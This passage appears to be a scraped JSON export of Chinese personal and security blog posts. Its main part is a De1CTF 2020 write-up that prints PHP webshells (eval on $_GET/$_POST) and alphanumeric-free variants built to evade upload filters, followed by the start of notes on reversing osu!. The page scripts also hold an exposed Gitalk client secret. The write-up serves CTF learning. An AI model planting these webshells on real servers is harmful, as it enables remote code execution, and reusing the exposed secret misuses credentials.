id=\"emmm。。\"\u003eemmm。。\u003c/h4\u003e\u003cp\u003e现在回想起来还挺对不起高中老师的emmm…\u003cbr/\u003e后悔么?不可能。\u003c/p\u003e\u003ch4 id=\"情感\"\u003e情感\u003c/h4\u003e\u003cp\u003e记得前段时间有个很有意思的想法\u003cbr/\u003e人的情感状态可以表示为若干维空间中的一个向量\u003cbr/\u003e而一个种类的情感是这一空间中的一个张量\u003c/p\u003e\u003ch4 id=\"\"\u003e\u003c/h4\u003e\u003cp\u003e也许现在的想法还是很幼稚吧\u003c/p\u003e\u003cblockquote\u003e\u003cp\u003e由于很多地方不太好意思写,思考这种问题时我也组织不起来语言,所以是非常碎片化的关键词\u003c/p\u003e\u003c/blockquote\u003e\u003cblockquote\u003e\u003cp\u003eLove encompasses \u003cstrong\u003ea range of\u003c/strong\u003e strong and positive emotional and mental states, from the most sublime virtue or good habit, the deepest interpersonal affection and to the simplest pleasure.\u003cbr/\u003e– wikipedia\u003c/p\u003e\u003c/blockquote\u003e\u003ch4 id=\"一些摘抄\"\u003e一些摘抄\u003c/h4\u003e\u003cul\u003e\u003cli\u003e根,紧握在地下;叶,相触在云里。 --舒婷\u003c/li\u003e\u003cli\u003e草在结它的种子,风在摇它的叶子。我们站着,不说话就十分美好。 --顾成\u003c/li\u003e\u003cli\u003e我这一生都是坚定不移的唯物主义者,唯有你,我希望有来生。 --周恩来\u003c/li\u003e\u003c/ul\u003e\u003cdiv id=\"gitalk-container\"\u003e\u003c/div\u003e\u003cscript src=\"https://cdn.bootcss.com/blueimp-md5/2.12.0/js/md5.min.js\"\u003e\u003c/script\u003e\u003clink rel=\"stylesheet\" href=\"https://unpkg.com/gitalk/dist/gitalk.css\"/\u003e\u003cscript src=\"https://unpkg.com/gitalk/dist/gitalk.min.js\"\u003e\u003c/script\u003e\u003cscript\u003evar gitalkConfig = {\"clientID\":\"5955d155fe2ea768241e\",\"clientSecret\":\"f96bbda9ff434950217f24f7f9369f8b8de3b025\",\"repo\":\"frankli0324.github.io\",\"owner\":\"frankli0324\",\"admin\":[\"frankli0324\"],\"distractionFreeMode\":false}; gitalkConfig.id = md5(location.pathname);var gitalk = new Gitalk(gitalkConfig); gitalk.render(\"gitalk-container\"); \u003c/script\u003e\u003clink rel=\"stylesheet\" href=\"/css/spoiler.css\" type=\"text/css\"/\u003e\u003cscript src=\"/js/spoiler.js\" type=\"text/javascript\" async=\"\"\u003e\u003c/script\u003e\u003c/body\u003e\u003c/html\u003e","url":"https://blog.frankli.site/2020/05/20/Misc/%E5%85%B3%E4%BA%8E%E7%88%B1/"},{"title":"从一道题到PHP Shell WAF绕过","time":"2020-05-09T16:00:00Z","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003ch2 id=\"起因\"\u003e起因\u003c/h2\u003e\u003cp\u003eDe1CTF 2020 中有一道渗透题Hard_Pentest,第一步是要上传一个php文件shell,而这个上传点当然是有waf的\u003cbr/\u003e经过fuzz,确认能够使用的字符如下:\u003cbr/\u003e\u003ccode\u003e!\u0026#34;#$%\u0026#39;()*+,-./:\u0026lt;=\u0026gt;?@[\\]_{ }\u003c/code\u003e\u003cbr/\u003e我们能发现可用的字符中无字母,无数字,更重要的是无分号\u003c/p\u003e\u003ch2 id=\"这道题\"\u003e这道题\u003c/h2\u003e\u003cp\u003e在这道题中,通过尝试我们能发现可以通过short open tag替代分号的作用:\u003c/p\u003e\u003cfigure class=\"highlight php\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e\u0026lt;?=\u003c/span\u003e\u003cspan class=\"variable\"\u003e$a\u003c/span\u003e=\u003cspan class=\"number\"\u003e1\u003c/span\u003e\u003cspan class=\"meta\"\u003e?\u0026gt;\u003c/span\u003e\u003cspan class=\"meta\"\u003e\u0026lt;?=\u003c/span\u003e\u003cspan class=\"variable\"\u003e$a\u003c/span\u003e\u003cspan class=\"meta\"\u003e?\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// 1\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e也就是说,拿一个经典的无数字字母shell来稍加修改(\u003ccode\u003ereplace(\u0026#39;;\u0026#39;, \u0026#39;?\u0026gt;\u0026lt;?=\u0026#39;)\u003c/code\u003e)即可构造出这样一个shell\u003cbr/\u003e但是我自然不会善罢甘休,想要总结一下\u003cstrong\u003e各个版本\u003c/strong\u003e中shell waf的绕过方式\u003cbr/\u003e下面我们从几个初始状态开始,逐步缩减可用的字符集,看看不一样的绕过方式\u003c/p\u003e\u003ch3 id=\"说明\"\u003e说明\u003c/h3\u003e\u003cp\u003e此处对下一部分如何归类与标注标题做一下简单的说明\u003cbr/\u003e我将从两个初始状态开始(无字母、白名单\u003ccode\u003e0b\u003c/code\u003e与无字母、黑名单\u003ccode\u003e0w\u003c/code\u003e)向别的状态转移\u003cbr/\u003e当然b与w分别代表blacklist与whitelist\u003cbr/\u003e当状态发生转移时,将在状态代号(如\u003ccode\u003e0b\u003c/code\u003e)后附加一个点(.)并添加新的状态代号,比如\u003ccode\u003e0b.0\u003c/code\u003e, \u003ccode\u003e0b.1\u003c/code\u003e\u003cbr/\u003e像上面那样同以\u003ccode\u003e0b.\u003c/code\u003e开头的状态说明这两个状态都是由\u003ccode\u003e0b\u003c/code\u003e状态转移而来\u003c/p\u003e\u003ch2 id=\"Webshell-Bypass\"\u003eWebshell Bypass\u003c/h2\u003e\u003ch3 id=\"root-strings-printable\"\u003eroot strings.printable\u003c/h3\u003e\u003cp\u003e这是一个普通的webshell:\u003c/p\u003e\u003cfigure class=\"highlight php\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e\u0026lt;?php\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eeval\u003c/span\u003e(\u003cspan class=\"variable\"\u003e$_GET\u003c/span\u003e[_]);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eeval\u003c/span\u003e(\u003cspan class=\"variable\"\u003e$_POST\u003c/span\u003e[_];\u003cspan class=\"meta\"\u003e?\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e让我们先ban掉一些普通的字符吧,先拿方括号开刀\u003c/p\u003e\u003ch3 id=\"root-0-ban掉\"\u003eroot.0 ban掉[]\u003c/h3\u003e\u003cfigure class=\"highlight php\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e\u0026lt;?php\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eeval\u003c/span\u003e(\u003cspan class=\"variable\"\u003e$_GET\u003c/span\u003e{_});\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eeval\u003c/span\u003e(\u003cspan class=\"variable\"\u003e$_POST\u003c/span\u003e{_};\u003cspan class=\"meta\"\u003e?\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e让我们读一读手册\u003c/p\u003e\u003cfigure class=\"highlight markdown\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003ehttps://www.php.net/manual/en/language.types.array.php\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"quote\"\u003e\u0026gt; Note:\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"quote\"\u003e\u0026gt; Both square brackets and curly braces can be used interchangeably\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"quote\"\u003e\u0026gt; for accessing array elements (e.g. `$array[42]` and `$array{42}` will\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"quote\"\u003e\u0026gt; both do the same thing in the example above).\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eAs of PHP 5.4 it is possible to array dereference the result of a\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003efunction or method call directly. Before it was only possible using\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003ea temporary variable.\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eAs of PHP 5.5 it is possible to array dereference an array literal.\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch3 id=\"root-1-ban掉分号\"\u003eroot.1 ban掉分号\u003c/h3\u003e\u003cp\u003e这个好办,上面已经给出了解决方案,在此例中只要去掉分号就好了\u003c/p\u003e\u003cfigure class=\"highlight php\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e\u0026lt;?php\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eeval\u003c/span\u003e(\u003cspan class=\"variable\"\u003e$_GET\u003c/span\u003e[_])\u003cspan class=\"meta\"\u003e?\u0026gt;\u003c/span\u003e\u003cspan class=\"meta\"\u003e\u0026lt;?php\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eeval\u003c/span\u003e(\u003cspan class=\"variable\"\u003e$_POST\u003c/span\u003e[_]\u003cspan class=\"meta\"\u003e?\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch3 id=\"root-2-ban掉引号\"\u003eroot.2 ban掉引号\u003c/h3\u003e\u003cp\u003e你在上面见到引号了么?\u003c/p\u003e\u003ch3 id=\"root-3-ban掉大小写字母\"\u003eroot.3 ban掉大小写字母\u003c/h3\u003e\u003cp\u003e这样的shell一开始由p师傅(ORZORZORZORZORZORZ)发布在\u003ca href=\"https://www.leavesongs.com/PENETRATION/webshell-without-alphanum.html\"\u003e博客\u003c/a\u003e中,后来又有一篇\u003ca href=\"https://www.leavesongs.com/PENETRATION/webshell-without-alphanum-advanced.html\"\u003e提高篇\u003c/a\u003e讨论了php7下与unix glob引出的无字母webshell的利用。\u003c/p\u003e\u003cp\u003e首先我们要想怎么能通过字符串来取到对应的变量\u003c/p\u003e\u003cp\u003e从\u003ca href=\"https://www.php.net/manual/en/language.oop5.basic.php#:~:text=as%20of%20PHP%205.3.0\"\u003ePHP5.3.0起\u003c/a\u003e,字符串变量可以被当作函数直接调用,从PHP7开始这个字符串甚至不需要赋给一个单独的变量\u003c/p\u003e\u003cfigure class=\"highlight php\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"variable\"\u003e$x\u003c/span\u003e=\u003cspan class=\"string\"\u003e\u0026#34;phpinfo\u0026#34;\u003c/span\u003e;\u003cspan class=\"variable\"\u003e$x\u003c/span\u003e();\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e也就是说如果我们能够利用某些方式通过别的字符构造出函数名,从而进行调用\u003c/p\u003e\u003cp\u003ep师傅的这篇博客中介绍了两种办法:\u003c/p\u003e\u003ch3 id=\"root-3-w-无字母,白名单\"\u003eroot.3.w 无字母,白名单\u003c/h3\u003e\u003cp\u003e首先要彻底没有字母,除非他已经帮你把php tag打开了(在eval里),不然一定是开着short open tag的。\u003c/p\u003e\u003cp\u003ePHP5.4.0起,\u003ccode\u003e\u0026lt;?=\u003c/code\u003e短开标签是一直可用的。虽然输出的垃圾信息多了一点但是不影响它好用啊(\u003cbr/\u003e当然,为了更短的长度,short open tag选项打开的时候还是尽量用\u003ccode\u003e\u0026lt;?\u003c/code\u003e更舒适。\u003c/p\u003e\u003cp\u003e总之,要解决白名单,当务之急是拓展可用的字符。\u003c/p\u003e\u003cp\u003ephp的\u0026#34;.“字符串拼接符号是一个绝妙的将对象转为字符类型的工具。只要有了”.\u0026#34;就可以构造出很多字符。\u003c/p\u003e\u003ch3 id=\"root-3-w-0-Array\"\u003eroot.3.w.0 Array\u003c/h3\u003e\u003cfigure class=\"highlight php\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e\u0026lt;?\u003c/span\u003e\u003cspan class=\"variable\"\u003e$_\u003c/span\u003e=[];\u003cspan class=\"variable\"\u003e$_\u003c/span\u003e.=\u003cspan class=\"number\"\u003e0\u003c/span\u003e;\u003cspan class=\"meta\"\u003e?\u0026gt;\u003c/span\u003e \u003cspan class=\"comment\"\u003e// .=[],.=\u0026#39;\u0026#39;,.=0/0,随便什么都行\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e\u0026lt;?=\u003c/span\u003e\u003cspan class=\"variable\"\u003e$_\u003c/span\u003e[\u003cspan class=\"number\"\u003e3\u003c/span\u003e]\u003cspan class=\"meta\"\u003e?\u0026gt;\u003c/span\u003e \u003cspan class=\"comment\"\u003e// a\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e\u0026lt;?=\u003c/span\u003e\u003cspan class=\"variable\"\u003e$_\u003c/span\u003e+++\u003cspan class=\"variable\"\u003e$_\u003c/span\u003e+++\u003cspan class=\"variable\"\u003e$_\u003c/span\u003e+++\u003cspan class=\"variable\"\u003e$_\u003c/span\u003e++\u003cspan class=\"meta\"\u003e?\u0026gt;\u003c/span\u003e \u003cspan class=\"comment\"\u003e// 以此类推能拿到a-z\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e\u0026lt;?=\u003c/span\u003e\u003cspan class=\"variable\"\u003e$_\u003c/span\u003e[\u003cspan class=\"number\"\u003e0\u003c/span\u003e]\u003cspan class=\"meta\"\u003e?\u0026gt;\u003c/span\u003e \u003cspan class=\"comment\"\u003e// A,同理能拿到A-Z\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e通过连加的方式可以缩短payload长度(谭浩强警告)\u003c/p\u003e\u003ch3 id=\"root-3-w-1-NAN-INF-ANIF\"\u003eroot.3.w.1 NAN, INF (ANIF)\u003c/h3\u003e\u003cp\u003e自\u003cstrong\u003ePHP7\u003c/strong\u003e以来,为了\u003ca href=\"https://www.php.net/manual/en/migration70.incompatible.php#migration70.incompatible.integers.div-by-zero\"\u003e遵从IEEE规范\u003c/a\u003e,0/0与1/0返回的是常量\u003ccode\u003efloat(NAN)\u003c/code\u003e与\u003ccode\u003efloat(INF)\u003c/code\u003e。没错,它们在转字符串的时候还就是\u003ccode\u003e\u0026#34;NAN\u0026#34;\u003c/code\u003e与\u003ccode\u003e\u0026#34;INF\u0026#34;\u003c/code\u003e。那么有了A、N、I、F四个字符我们能够构造出那些字符呢?\u003c/p\u003e\u003cp\u003e所有字符。\u003c/p\u003e\u003cp\u003ePHP函数实际上是\u003ca href=\"https://www.php.net/manual/en/functions.user-defined.php#:~:text=Function%20names%20are%20case-insensitive\"\u003e不区分大小写\u003c/a\u003e的。所以我们可以。。。\u003c/p\u003e\u003cp\u003e\u003ccode\u003eTOLOWER\u003c/code\u003e!这样我们就能构造出大小写所有字母了。有了字母我们当然可以进一步构造出所有字符。\u003c/p\u003e\u003ch3 id=\"root-3-w-1-0-连数字也没有怎么办\"\u003eroot.3.w.1.0 连数字也没有怎么办\u003c/h3\u003e\u003cp\u003etrue和false在php里是1和0\u003cbr/\u003e也就是说\u003ccode\u003etrue/false == INF\u003c/code\u003e,\u003ccode\u003efalse/false == NAN\u003c/code\u003e\u003cbr/\u003e构造出true和false那还不简单\u003c/p\u003e\u003cfigure class=\"highlight text\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e[]\u0026gt;[] == false\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e[[]]\u0026gt;[] == true\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e只要让你闭合tag你就有生存空间\u003c/p\u003e\u003ch3 id=\"root-3-w-3-ban掉-存疑\"\u003eroot.3.w.3 ban掉\u0026#34;.\u0026#34; (?存疑)\u003c/h3\u003e\u003cp\u003e如果没了字符串拼接符号,也就是缺少了一大obj-\u0026gt;str的途径,那么还有没有可能构造出额外的字符呢?\u003c/p\u003e\u003ch3 id=\"root-3-b-无字母,黑名单\"\u003eroot.3.b 无字母,黑名单\u003c/h3\u003e\u003cp\u003e黑名单就好玩了,用什么字符都可以,那么只需要补齐题目ban掉的那些字符即可。当然对于非强迫症而言\u003cstrong\u003e有可能\u003c/strong\u003e只需要补齐一部分字符就能做出题了。\u003c/p\u003e\u003cp\u003e由于php只支持256单字节字符,很多unicode字符(比如中文)的长度大于1(\u003ccode\u003estrlen(\u0026#34;啊\u0026#34;)===3\u003c/code\u003e),也就是说我们实际上是能“切”出一部分的值拿来进行运算的(\u003ccode\u003e\u0026#34;啊\u0026#34;[0] === \u0026#34;\\xe5\u0026#34;\u003c/code\u003e)。具体为何请参考unicode表。\u003cbr/\u003e在实际操作中,用汉字切与直接输入不可见字符没有本质的区别,但更直观一些(至少你能看见)\u003c/p\u003e\u003cp\u003e有一点就是对字符串位运算实际上不需要一个个字符串拼接。PHP会逐字节将两侧的字符串喂给位运算,得到新的字符串。\u003c/p\u003e\u003ch3 id=\"root-3-b-x-异或\"\u003eroot.3.b.x 异或\u003c/h3\u003e\u003cfigure class=\"highlight php\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e\u0026lt;?php\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"variable\"\u003e$_\u003c/span\u003e=\u003cspan class=\"string\"\u003e\u0026#34;`{{{\u0026#34;\u003c/span\u003e^\u003cspan class=\"string\"\u003e\u0026#34;?\u0026lt;\u0026gt;/\u0026#34;\u003c/span\u003e; \u003cspan class=\"comment\"\u003e// _GET\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e${\u003cspan class=\"variable\"\u003e$_\u003c/span\u003e}[_](${\u003cspan class=\"variable\"\u003e$_\u003c/span\u003e}[__]);\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch3 id=\"root-3-b-r-取反与或非\"\u003eroot.3.b.r 取反与或非\u003c/h3\u003e\u003cp\u003e略,见p师傅博客与各大搜索引擎\u003c/p\u003e\u003ch3 id=\"root-4-ban掉一些标识符\"\u003eroot.4 ban掉一些标识符\u003c/h3\u003e\u003ch3 id=\"root-4-0-进制转换\"\u003eroot.4.0 进制转换\u003c/h3\u003e\u003cp\u003e\u003ccode\u003ebase_convert\u003c/code\u003e函数提供2-36进制的转换,可以轻松提供数字到\u003ccode\u003ea-z\u003c/code\u003e字母的转换。\u003cbr/\u003e\u003ccode\u003edechex\u003c/code\u003e也可以通过数字获得\u003ccode\u003ea-f\u003c/code\u003e的值\u003c/p\u003e\u003ch3 id=\"root-4-1-数学函数\"\u003eroot.4.1 数学函数\u003c/h3\u003e\u003cp\u003e由于很少碰到,不展开讲了。但是见到标题应当能想到该做什么了。\u003c/p\u003e\u003ch2 id=\"1\"\u003e-1\u003c/h2\u003e\u003cp\u003e这里仅对一些可能的webshell绕\u003cstrong\u003e内容\u003c/strong\u003ewaf方式进行了微小的总结。其实不难发现每个绕waf的技巧都来源于php自身的动态性以及对\u003cstrong\u003e字符串\u003c/strong\u003e的各种奇妙操作。\u003cbr/\u003e文中大部分跨版本不兼容的地方都进行了php文档链接的标注,以供参考。这也是本文之所以存在的一大理由。\u003c/p\u003e\u003cdiv id=\"gitalk-container\"\u003e\u003c/div\u003e\u003cscript src=\"https://cdn.bootcss.com/blueimp-md5/2.12.0/js/md5.min.js\"\u003e\u003c/script\u003e\u003clink rel=\"stylesheet\" href=\"https://unpkg.com/gitalk/dist/gitalk.css\"/\u003e\u003cscript src=\"https://unpkg.com/gitalk/dist/gitalk.min.js\"\u003e\u003c/script\u003e\u003cscript\u003evar gitalkConfig = {\"clientID\":\"5955d155fe2ea768241e\",\"clientSecret\":\"f96bbda9ff434950217f24f7f9369f8b8de3b025\",\"repo\":\"frankli0324.github.io\",\"owner\":\"frankli0324\",\"admin\":[\"frankli0324\"],\"distractionFreeMode\":false}; gitalkConfig.id = md5(location.pathname);var gitalk = new Gitalk(gitalkConfig); gitalk.render(\"gitalk-container\"); \u003c/script\u003e\u003clink rel=\"stylesheet\" href=\"/css/spoiler.css\" type=\"text/css\"/\u003e\u003cscript src=\"/js/spoiler.js\" type=\"text/javascript\" async=\"\"\u003e\u003c/script\u003e\u003c/body\u003e\u003c/html\u003e","url":"https://blog.frankli.site/2020/05/10/Security/PHP%20Shell%20Bypass/"},{"title":"Osu逆向过程中的一些小结","time":"2020-02-07T09:04:59Z","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003cp\u003e由于MacOS Catalina上32bit程序惨遭抛弃,最近一段时间实在没动力为了玩osu!而重启电脑切Windows,于是最近几周在逆旧版的osu!,试图搞清楚关于player point统计、聊天室协议等一系列实现。由于逆的过程中碰到了一些关于微软roslyn的具体实现的问题,刚好这玩意开源。读了读一些代码,就觉得有些东西挺值得写写的。\u003c/p\u003e\u003ch2 id=\"目录\"\u003e目录\u003c/h2\u003e\u003cul\u003e\u003cli\u003eDisplay Class 与 lambda\u003c/li\u003e\u003cli\u003eBacking Field 与 getter/setter\u003c/li\u003e\u003cli\u003eCompilerGeneratedAttribute 与 ILSpy\u003c/li\u003e\u003cli\u003e临时变量\u003c/li\u003e\u003cli\u003e\u003ccode\u003e(CS$)?\u0026lt;(.+)\u0026gt;([0-9a-s]__.*)([0-9]*)?\u003c/code\u003e\u003c/li\u003e\u003c/ul\u003e\u003ch2 id=\"Display-Class-与-lambda\"\u003eDisplay Class 与 lambda\u003c/h2\u003e\u003cp\u003e在C#中,一个 lambda function 的语法如下:\u003c/p\u003e\u003cfigure class=\"highlight csharp\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// in some function\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e(parameter1, parameter2) =\u0026gt; {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e do_something(parameter1, parameter2);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e(parameter1, parameter2) =\u0026gt; do_something(parameter1, parameter2);\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e在利用网上的各种工具对 osu! 进行反混淆后,先拿 dnSpy 调一调,发现 osu 对文件的哈希进行了比较复杂的认证,索性直接丢到 ILSpy 里头。(具体步骤参考\u003ca href=\"https://github.com/frankli0324/osu-reversed\"\u003eosu-reversed\u003c/a\u003e)\u003cbr/\u003e看了看反编译出来的文件,发现里头有很多非法的符号名,最显眼的就是\u003ccode\u003e\u0026lt;\u0026gt;c_DisplayClass\u003c/code\u003e。这个\u003ccode\u003eDisplayClass\u003c/code\u003e就非常的让人摸不着头脑,遂谷歌\u003c/p\u003e\u003cp\u003e\u003ccode\u003eanonymous method closure 